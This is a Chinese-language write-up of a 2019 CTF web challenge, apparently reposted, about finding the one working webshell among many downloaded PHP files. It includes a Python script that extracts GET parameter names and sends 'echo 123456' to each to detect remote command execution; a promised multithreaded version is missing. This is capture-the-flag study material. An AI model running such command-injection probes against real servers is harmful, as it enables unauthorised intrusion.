[原題復現]強網杯 2019 WEB高明的黑客


簡介

 原題復現:

 考察知識點:python代碼編寫能力。。。

 線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題

簡介

頁面提示有源碼可以下載,直接拼接URL www.tar.gz  

下載后發現一堆php 初步考慮就是有考察根腳本編寫有關

打開代碼發現這些 有get、pos 還有var_dump() 每個頁面都有很多看WP說這是shell 因為很多都不能用所以要編寫一個能檢測利用的py

 

v1.0版本(速度太慢)

import re
import os
import requests

files = os.listdir('src/')    #獲取路徑下的所有文件
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')   #設置正則
for i in files:                #從第一個文件開始
    url = "http://127.0.0.1/src/" + i
    f = open("src/"+i)        #打開這個文件
    data = f.read()           #讀取文件內容
    f.close()                 #關閉文件
    result = reg.findall(data)  #從文件中找到GET請求
    for j in result:           #從第一個GET參數開始
        payload = url + "?" + j + "=echo 123456"   ##嘗試請求次路徑,並執行命令
        print(payload)
        html = requests.get(payload)
        if "123456" in html.text:
            print(payload)
            exit(1)

 

 v2.0(加了多線程)

 

 

簡介

1

簡介


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM